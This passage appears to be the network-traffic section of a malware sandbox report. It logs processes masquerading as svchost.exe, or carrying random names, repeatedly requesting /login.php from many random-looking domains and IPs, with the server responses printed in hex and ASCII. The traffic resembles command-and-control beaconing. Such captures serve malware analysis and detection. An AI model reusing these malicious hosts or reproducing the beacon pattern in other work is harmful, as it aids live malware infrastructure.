                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.091924906 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                                    Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    37192.168.2.455714178.162.203.226807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.624469042 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    38192.168.2.45571823.253.46.64807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313505888 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.769821882 CET1236INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Server: Microsoft-IIS/7.5
                                                                                                                                                                                                                    X-Powered-By: ASP.NET
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:44 GMT
                                                                                                                                                                                                                    Content-Length: 1245
                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-contai [TRUNCATED]
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.769936085 CET169INData Raw: 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67
                                                                                                                                                                                                                    Data Ascii: <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    39192.168.2.455720178.162.203.226807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.313972950 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    40192.168.2.455722103.150.10.48807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.698088884 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyrysor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.498204947 CET404INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                                    Server: openresty/1.15.8.1
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:53 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 151
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: http://106.15.232.163:8000/dh/147287063_377283.html#index8?d=lyrysor.com
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                                    Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    41192.168.2.455727103.150.10.48807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.061657906 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyrysor.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    42192.168.2.455729178.162.203.202806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.359493017 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gatyfus.com


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    43192.168.2.455730199.59.243.227806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.365045071 CET305OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vojyqem.com
                                                                                                                                                                                                                    Cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795325994 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                    date: Mon, 11 Nov 2024 17:48:57 GMT
                                                                                                                                                                                                                    content-type: text/html; charset=utf-8
                                                                                                                                                                                                                    content-length: 1094
                                                                                                                                                                                                                    x-request-id: fc0a3690-5c35-432d-b6d7-e68def5197f9
                                                                                                                                                                                                                    cache-control: no-store, max-age=0
                                                                                                                                                                                                                    accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    vary: sec-ch-prefers-color-scheme
                                                                                                                                                                                                                    x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==
                                                                                                                                                                                                                    set-cookie: parking_session=7d78dc28-dec6-4077-b1a8-5616691eeba3; expires=Mon, 11 Nov 2024 18:03:57 GMT
                                                                                                                                                                                                                    Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 4d 79 74 48 62 6d 6d 72 66 4d 63 2b 6b 7a 6d 69 50 59 54 74 32 75 53 32 50 44 6e 48 48 6a 2f 70 2f 32 6e 43 4e 4e 30 34 47 32 65 4f 72 59 58 2f 4c 53 49 39 69 66 61 74 74 43 39 36 6f 39 32 78 43 7a 57 72 75 51 36 35 71 6c 39 2b 6f 6f 6e 64 7a 63 54 44 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VMytHbmmrfMc+kzmiPYTt2uS2PDnHHj/p/2nCNN04G2eOrYX/LSI9ifattC96o92xCzWruQ65ql9+oondzcTDQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795345068 CET212INData Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65
                                                                                                                                                                                                                    Data Ascii: " href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiN2Q3OGRjMjgtZGVjNi00MDc3LWIxYTgtNTYxNjY5MWVlYmEzIiwicGFnZV90aW1lIjoxNzMxMz
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.795356035 CET308INData Raw: 51 33 4d 7a 4d 33 4c 43 4a 77 59 57 64 6c 58 33 56 79 62 43 49 36 49 6d 68 30 64 48 41 36 4c 79 39 32 62 32 70 35 63 57 56 74 4c 6d 4e 76 62 53 39 73 62 32 64 70 62 69 35 77 61 48 41 69 4c 43 4a 77 59 57 64 6c 58 32 31 6c 64 47 68 76 5a 43 49 36
                                                                                                                                                                                                                    Data Ascii: Q3MzM3LCJwYWdlX3VybCI6Imh0dHA6Ly92b2p5cWVtLmNvbS9sb2dpbi5waHAiLCJwYWdlX21ldGhvZCI6IkdFVCIsInBhZ2VfcmVxdWVzdCI6e30sInBhZ2VfaGVhZGVycyI6eyJyZWZlcmVyIjpbImh0dHA6Ly93d3cuZ29vZ2xlLmNvbSJdfSwiaG9zdCI6InZvanlxZW0uY29tIiwiaXAiOiI2Ni4yMy4yMDYuMTA5In0K"


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    44192.168.2.455731208.100.26.245806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.402024031 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lyvyxor.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.849535942 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                    Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:57 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Content-Length: 580
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                                    Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    45192.168.2.455732162.255.119.102806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.411277056 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: gahyqah.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.946854115 CET303INHTTP/1.1 302 Found
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:57 GMT
                                                                                                                                                                                                                    Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                    Content-Length: 55
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: http://www.gahyqah.com/login.php
                                                                                                                                                                                                                    X-Served-By: Namecheap URL Forward
                                                                                                                                                                                                                    Server: namecheap-nginx
                                                                                                                                                                                                                    Data Raw: 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 61 68 79 71 61 68 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 27 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a
                                                                                                                                                                                                                    Data Ascii: <a href='http://www.gahyqah.com/login.php'>Found</a>.


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    46192.168.2.45573344.221.84.105806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.425772905 CET352OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: vocyzit.com
                                                                                                                                                                                                                    Cookie: snkz=66.23.206.109; btst=16cf0b96f8f0fc580a6117c71966148e|66.23.206.109|1731347300|1731347300|0|1|0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.856092930 CET335INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:57 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=16cf0b96f8f0fc580a6117c71966148e|66.23.206.109|1731347337|1731347300|18|2|0; path=/; domain=.vocyzit.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    47192.168.2.455734188.114.96.3806644C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.428002119 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.196095943 CET797INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:58 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IH7KbrcnVSIY52RbylzwZODj5Mo61uvqFE0BC%2BUmS6GyOyN83Wnv99mS78O%2BWYiVF9yrqGw5b9bpzTlu%2BqXLXoymDpaYJ7rzggMJHjCisL4d%2Bg2xqzHn8AxQBtJeng%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101dbd3e2d7c87-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1425&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Nov 11, 2024 18:48:58.196333885 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:49:21.891633034 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:49:22.322820902 CET978INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:49:22 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7rXCzC46%2BvfSBtreYfPcqpuE7IqYlOJMSgvVRcdJhB6BWrmrMdYOKfee1g5d090vA5DIZP07uoAY8ffyf%2FdiwyoXeIIM1cQEvWh1%2Bx3%2FPZeM2XjnKRhI9TMTEmT13A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101e54087e7c87-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1419&sent=5&recv=7&lost=0&retrans=0&sent_bytes=970&recv_bytes=486&delivery_rate=1533356&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
